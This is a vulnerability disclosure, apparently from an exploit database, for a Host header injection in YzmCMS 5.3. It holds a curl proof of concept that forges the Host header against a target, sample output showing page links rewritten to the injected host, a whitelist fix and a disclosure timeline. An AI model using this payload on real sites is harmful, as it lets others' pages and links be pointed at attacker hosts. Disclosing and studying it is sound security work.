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# Exploit Title: YzmCMS 5.3 - 'Host' Header Injection # Exploit Author: Debashis Pal # Vendor Homepage: http://www.yzmcms.com/ # Source: https://github.com/yzmcms/yzmcms # Version: YzmCMS V5.3 # CVE : N/A # Tested on: Windows 7 SP1(64bit),XAMPP: 7.3.9 #About YzmCMS ============== YzmCMS is a lightweight open source content management system that uses OOP (Object Oriented) to develop its own framework. #Vulnerability =============== Host Header Injection. #PoC ===== #YzmCMS V5.3 Access Path: TARGET/yzmcms/ curl http://TARGET/yzmcms/ -H "Host: www.google.com" //sample output start <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>YzmCMS - 演示站</title> <link href="http://www.google.com/yzmcms/common/static/css/default_common.css" rel="stylesheet" type="text/css" /> <link href="http://www.google.com/yzmcms/common/static/css/default_index.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="http://www.google.com/yzmcms/common/static/js/jquery-1.8.2.min.js"></script> <script type="text/javascript" src="http://www.google.com/yzmcms/common/static/js/js.js"></script> <script type="text/javascript" src="http://www.google.com/yzmcms/common/static/js/koala.min.1.5.js"></script> <!-- 焦点图js --> <meta name="keywords" content="yzmcms,YzmCMS演示站,yzmcms站点" /> <meta name="description" content="本站是yzmcms演示站点" /> <meta http-equiv="mobile-agent" content="format=xhtml;url=http://TARGET/yzmcms/index.php?m=mobile"> <script type="text/javascript">if(window.location.toString().indexOf('pref=padindex') != -1){}else{if(/AppleWebKit.*Mobile/i.test(navigator.userAgent) || (/MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amoi|ZTE/.test(navigator.userAgent))){if(window.location.href.indexOf("?mobile")<0){try{if(/Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)){window.location.href="http://TARGET/yzmcms/index.php?m=mobile";}else if(/iPad/i.test(navigator.userAgent)){}else{}}catch(e){}}}}</script> </head> <body> <!--mini登陆条--> <div id="head_login"> <div class="w1000"> <div id="mini"> <a href="http://www.google.com/yzmcms/member/index/register.html" target="_blank">注册</a> <a href="http://www.google.com/yzmcms/member/index/login.html" target="_blank">登录</a> </div> 欢迎光临本站！ </div> </div> <!--网站容器--> <div id="container"> <div id="header"> <div id="logo"> <a href="http://TARGET/yzmcms/"><img src="http://www.google.com/yzmcms/common/static/images/logo.png" title="YzmCMS - 演示站" alt="YzmCMS - 演示站"></a> </div> <div id="search"> <form method="get" action="http://www.google.com/yzmcms/index.php" target="_blank"> <div id="searchtxt" class="searchtxt"> <div class="searchmenu"> //sample output End #Solution ========== Don’t trust the host header. Only allow whitelist hostnames. #Disclosure Timeline ==================== Vulnerability Discover Date: 18-Sep-2019 Vulnerability Notification To vendor via Email: 18-Sep-2019, no responds Open issue in github : 22-Sep-2019, no responds Submit exploit-db : 25-Sep-2019 #Disclaimer ========== The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere.
Yzmcms 5.3 host header injection Vulnerability / Exploit Source : Yzmcms 5.3 host header injection
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